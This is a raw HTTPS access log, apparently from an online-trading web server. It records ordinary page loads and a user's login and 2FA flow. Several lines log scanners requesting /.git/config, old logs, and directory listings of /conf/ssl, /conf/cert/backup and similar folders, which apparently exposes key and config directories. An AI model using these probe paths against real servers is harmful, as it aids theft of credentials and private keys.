[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767947090078 HTTP/1.1" 3188
[09/Jan/2026:16:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:16:26:38 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:16:33:45 +0800] 54.164.0.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git/config HTTP/1.1" 196
[09/Jan/2026:16:33:53 +0800] 47.128.112.128 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20250928 HTTP/1.1" 52739
[09/Jan/2026:16:34:27 +0800] 47.128.39.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:16:42:22 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:16:50:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767948886915 HTTP/1.1" -
[09/Jan/2026:16:50:57 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:16:50:58 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs HTTP/1.1" 237
[09/Jan/2026:16:50:59 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/ HTTP/1.1" 259905
[09/Jan/2026:16:51:10 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf HTTP/1.1" 237
[09/Jan/2026:16:51:13 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ HTTP/1.1" 3003
[09/Jan/2026:16:51:14 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/iasia HTTP/1.1" 243
[09/Jan/2026:16:51:15 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/iasia/ HTTP/1.1" 1353
[09/Jan/2026:16:51:16 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl HTTP/1.1" 241
[09/Jan/2026:16:51:17 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/ HTTP/1.1" 1538
[09/Jan/2026:16:51:18 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/Old HTTP/1.1" 245
[09/Jan/2026:16:51:19 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/Old/ HTTP/1.1" 1124
[09/Jan/2026:16:51:21 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/kingston2025 HTTP/1.1" 254
[09/Jan/2026:16:51:21 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/kingston2025/ HTTP/1.1" 1359
[09/Jan/2026:16:51:22 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/backup2024 HTTP/1.1" 252
[09/Jan/2026:16:51:23 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/backup2024/ HTTP/1.1" 1355
[09/Jan/2026:16:51:24 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/extra HTTP/1.1" 243
[09/Jan/2026:16:51:25 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/extra/ HTTP/1.1" 4002
[09/Jan/2026:16:51:26 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert HTTP/1.1" 242
[09/Jan/2026:16:51:27 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert/ HTTP/1.1" 1541
[09/Jan/2026:16:51:28 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert/backup HTTP/1.1" 249
[09/Jan/2026:16:51:29 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert/backup/ HTTP/1.1" 1350
[09/Jan/2026:16:51:29 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original HTTP/1.1" 246
[09/Jan/2026:16:51:30 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:16:51:30 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/ HTTP/1.1" 1753
[09/Jan/2026:16:51:31 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/extra HTTP/1.1" 252
[09/Jan/2026:16:51:31 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/extra/ HTTP/1.1" 3341
[09/Jan/2026:16:51:31 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib HTTP/1.1" 236
[09/Jan/2026:16:51:32 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/ HTTP/1.1" 4338
[09/Jan/2026:16:51:32 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error HTTP/1.1" 238
[09/Jan/2026:16:51:33 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/ HTTP/1.1" 5063
[09/Jan/2026:16:51:33 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules HTTP/1.1" 240
[09/Jan/2026:16:51:34 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/ HTTP/1.1" 25762
[09/Jan/2026:16:51:37 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs HTTP/1.1" 239
[09/Jan/2026:16:51:38 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs/ HTTP/1.1" 46
[09/Jan/2026:16:51:38 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual HTTP/1.1" 239
[09/Jan/2026:16:51:38 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manual/ HTTP/1.1" 884
[09/Jan/2026:16:51:39 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin HTTP/1.1" 236
[09/Jan/2026:16:51:39 +0800] 66.132.153.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/ HTTP/1.1" 7805
[09/Jan/2026:16:51:42 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:16:54:02 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:16:54:04 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf HTTP/1.1" 237
[09/Jan/2026:16:54:05 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ HTTP/1.1" 3003
[09/Jan/2026:16:54:06 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert HTTP/1.1" 242
[09/Jan/2026:16:54:07 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert/ HTTP/1.1" 1541
[09/Jan/2026:16:54:08 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert/backup HTTP/1.1" 249
[09/Jan/2026:16:54:09 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/cert/backup/ HTTP/1.1" 1350
[09/Jan/2026:16:54:10 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/extra HTTP/1.1" 243
[09/Jan/2026:16:54:11 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/extra/ HTTP/1.1" 4002
[09/Jan/2026:16:54:13 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl HTTP/1.1" 241
[09/Jan/2026:16:54:14 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/ HTTP/1.1" 1538
[09/Jan/2026:16:54:16 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/Old HTTP/1.1" 245
[09/Jan/2026:16:54:18 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/Old/ HTTP/1.1" 1124
[09/Jan/2026:16:54:20 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/kingston2025 HTTP/1.1" 254
[09/Jan/2026:16:54:20 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/kingston2025/ HTTP/1.1" 1359
[09/Jan/2026:16:54:21 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/backup2024 HTTP/1.1" 252
[09/Jan/2026:16:54:21 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/backup2024/ HTTP/1.1" 1355
[09/Jan/2026:16:54:23 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/iasia HTTP/1.1" 243
[09/Jan/2026:16:54:24 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/iasia/ HTTP/1.1" 1353
[09/Jan/2026:16:54:26 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original HTTP/1.1" 246
[09/Jan/2026:16:54:26 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/ HTTP/1.1" 1753
[09/Jan/2026:16:54:28 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/extra HTTP/1.1" 252
[09/Jan/2026:16:54:29 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/original/extra/ HTTP/1.1" 3341
[09/Jan/2026:16:54:30 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib HTTP/1.1" 236
[09/Jan/2026:16:54:31 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/ HTTP/1.1" 4338
[09/Jan/2026:16:54:34 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error HTTP/1.1" 238
[09/Jan/2026:16:54:37 +0800] 167.94.138.117 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error/ HTTP/1.1" 5063
[09/Jan/2026:16:55:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767949177976 HTTP/1.1" 3188
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:16:55:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:16:55:16 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:16:55:16 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:16:55:16 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:55:16 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 449
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:16:55:18 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
